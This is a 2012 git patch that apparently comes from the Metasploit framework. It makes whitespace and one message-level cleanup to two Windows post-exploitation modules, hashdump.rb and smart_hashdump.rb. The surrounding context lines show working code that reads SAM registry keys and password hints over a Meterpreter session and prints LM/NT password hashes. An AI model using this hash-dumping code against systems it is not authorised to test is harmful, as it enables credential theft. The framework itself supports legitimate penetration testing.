From 433c9f6b28a5c6108db36dbd71970c9de099fd67 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 21 Aug 2012 14:17:21 -0500 Subject: [PATCH] Final cleanup --- modules/post/windows/gather/hashdump.rb | 16 +++++++-------- modules/post/windows/gather/smart_hashdump.rb | 20 +++++++++---------- 2 files changed, 18 insertions(+), 18 deletions(-) diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index 31e5b2aa8f..6b7307c1c2 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Post if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"" hint_count += 1 - end + end end print_line "No users with password hints on this system" if hint_count == 0 print_line() @@ -100,7 +100,7 @@ class Metasploit3 < Msf::Post :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], :type => "smb_hash" ) - + print_line hashstring end print_line() @@ -178,14 +178,14 @@ class Metasploit3 < Msf::Post users[usr.to_i(16)] ||={} users[usr.to_i(16)][:F] = uk.query_value("F").data users[usr.to_i(16)][:V] = uk.query_value("V").data - + #Attempt to get Hints (from Win7/Win8 Location) begin users[usr.to_i(16)][:UserPasswordHint] = uk.query_value("UserPasswordHint").data rescue ::Rex::Post::Meterpreter::RequestError users[usr.to_i(16)][:UserPasswordHint] = nil end - + uk.close end ok.close @@ -197,9 +197,9 @@ class Metasploit3 < Msf::Post rid = r.type users[rid] ||= {} users[rid][:Name] = usr - + #Attempt to get Hints (from WinXP Location) only if it's not set yet - if users[rid][:UserPasswordHint].nil? + if users[rid][:UserPasswordHint].nil? begin uk_hint = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) users[rid][:UserPasswordHint] = uk_hint.query_value("").data @@ -207,7 +207,7 @@ class Metasploit3 < Msf::Post users[rid][:UserPasswordHint] = nil end end - + uk.close end ok.close @@ -316,4 +316,4 @@ class Metasploit3 < Msf::Post d1o << d2.final d1o + d2o end -end \ No newline at end of file +end diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index 63203c74b9..61f9128f43 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -140,14 +140,14 @@ class Metasploit3 < Msf::Post users[usr.to_i(16)] ||={} users[usr.to_i(16)][:F] = uk.query_value("F").data users[usr.to_i(16)][:V] = uk.query_value("V").data - + #Attempt to get Hints (from Win7/Win8 Location) begin users[usr.to_i(16)][:UserPasswordHint] = uk.query_value("UserPasswordHint").data rescue ::Rex::Post::Meterpreter::RequestError users[usr.to_i(16)][:UserPasswordHint] = nil end - + uk.close end ok.close @@ -159,9 +159,9 @@ class Metasploit3 < Msf::Post rid = r.type users[rid] ||= {} users[rid][:Name] = usr - + #Attempt to get Hints (from WinXP Location) only if it's not set yet - if users[rid][:UserPasswordHint].nil? + if users[rid][:UserPasswordHint].nil? begin uk_hint = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) users[rid][:UserPasswordHint] = uk_hint.query_value("").data @@ -169,7 +169,7 @@ class Metasploit3 < Msf::Post users[rid][:UserPasswordHint] = nil end end - + uk.close end ok.close @@ -309,16 +309,16 @@ class Metasploit3 < Msf::Post if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 print_good("\t#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"") hint_count += 1 - end + end end - print_good("\tNo users with password hints on this system") if hint_count == 0 + print_status("\tNo users with password hints on this system") if hint_count == 0 print_status("\tDumping password hashes...") users.keys.sort{|a,b| a<=>b}.each do |rid| # next if guest account or support account next if rid == 501 or rid == 1001 collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n" - + print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::") session.framework.db.report_auth_info( :host => host, @@ -329,7 +329,7 @@ class Metasploit3 < Msf::Post :type => "smb_hash" ) end - + rescue ::Interrupt raise $! rescue ::Rex::Post::Meterpreter::RequestError => e @@ -516,4 +516,4 @@ class Metasploit3 < Msf::Post print_error("Insufficient privileges to dump hashes!") end end -end \ No newline at end of file +end